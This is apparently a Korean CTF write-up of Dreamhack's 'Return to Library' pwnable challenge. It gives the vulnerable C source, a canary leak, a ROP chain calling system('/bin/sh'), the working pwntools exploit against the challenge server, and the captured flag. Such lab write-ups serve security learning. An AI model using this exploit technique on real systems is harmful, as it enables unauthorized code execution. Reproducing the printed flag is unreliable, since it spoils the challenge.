// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
⚡ root ~/Downloads/dreamhack/Return_to_Library checksec rtl
[*] '/root/Downloads/dreamhack/Return_to_Library/rtl'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Canary와 NX 보호 기법이 걸려있습니다.
char buf[0x30];
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
read함수로 buf~canary 거리 + 1 만큼 입력을 주어 canary 앞 '\x00'를 제거하면 printf 함수로 카나리를 출력하게 할 수 있습니다.
char buf[0x30];
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
read 함수로 buf에 0x30보다 훨씬 큰 0x100 크기의 입력을 받고 있기 때문에 버퍼 오버플로우 공격이 가능합니다.
0x0000000000400772 <+123>: lea rax,[rbp-0x40] // rax = buf
0x0000000000400776 <+127>: mov edx,0x100 // edx = 0x100
0x000000000040077b <+132>: mov rsi,rax // rsi = buf
0x000000000040077e <+135>: mov edi,0x0 // edi = 0x0
0x0000000000400783 <+140>: call 0x4005f0 <read@plt> // read(0, buf, 0x100)
0x0000000000400788 <+145>: lea rax,[rbp-0x40] // rax = buf
0x000000000040078c <+149>: mov rsi,rax // rsi = buf
0x000000000040078f <+152>: mov edi,0x4008a3 // "Buf: %s\n"
0x0000000000400794 <+157>: mov eax,0x0 // eax = 0
0x0000000000400799 <+162>: call 0x4005e0 <printf@plt> // printf("Buf: %s\n", buf)
buf ~ RBP 까지의 거리는 56 이기 때문에, 'A'를 57개 입력하면 카나리 앞의 '\x00'가 제거되어서 카나리 릭을 할 수 있습니다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = process("./rtl")
e = ELF("./rtl")
# [1] Leak Canary
buf2sfp = 0x40
buf2cnry = 0x40 - 0x8
payload = b'A'*(buf2cnry + 1)
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)
⚡ root ~/Downloads/dreamhack/Return_to_Library python3 leak.py
[+] Starting local process './rtl': pid 1906
[*] '/root/Downloads/dreamhack/Return_to_Library/rtl'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Canary: 0x5f75990c0859700
[*] Stopped process './rtl' (pid 1906)
NX 방어기법이 활성화 되어 있기 때문에, Return to Library 기법으로 공격을 해보겠습니다.
⚡ root ~/Downloads/dreamhack/Return_to_Library ldd rtl
linux-vdso.so.1 (0x00007ffda9df4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5ef712c000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5ef731c000)
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
#context.log_level = 'debug'
p = remote("host3.dreamhack.games", 14235)
e = ELF("./rtl")
libc = e.libc
r = ROP(e)
# [0] Gathering Information
system_plt = e.symbols['system']
sh = next(e.search(b'/bin/sh'))
pop_rdi = r.find_gadget(['pop rdi'])[0]
ret = r.find_gadget(['ret'])[0]
slog("system@plt", system_plt)
slog("/bin/sh", sh)
slog("pop rdi", pop_rdi)
slog("ret", ret)
# [1] Leak Canary
buf2sfp = 0x40
buf2cnry = 0x40 - 0x8
payload = b'A'*(buf2cnry + 1)
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)
# [2] Exploit
payload = b'A' * buf2cnry
payload += p64(canary)
payload += b'B' * 8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(sh)
payload += p64(system_plt)
pause()
p.sendafter("Buf: ", payload)
p.interactive()
익스플로잇 코드를 실행을 해보면
ion ~/wargame/dreamhack/pwnable/Return_to_Library python3 remote.py 2> /dev/null
[+] Opening connection to host3.dreamhack.games on port 14235: Done
[*] '/home/ion/wargame/dreamhack/pwnable/Return_to_Library/rtl'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 14 cached gadgets for './rtl'
[+] system@plt: 0x4005d0
[+] /bin/sh: 0x400874
[+] pop rdi: 0x400853
[+] ret: 0x400285
[+] Canary: 0xa8fe688299698200
[*] Paused (press any to continue)
[*] Switching to interactive mode
$
공격에 성공해서 쉘이 떳고
$ ls
flag
rtl
$ cat flag
DH{13e0d0ddf0c71c0ac4410687c11e6b00}
flag를 출력해보면 잘 출력됩니다.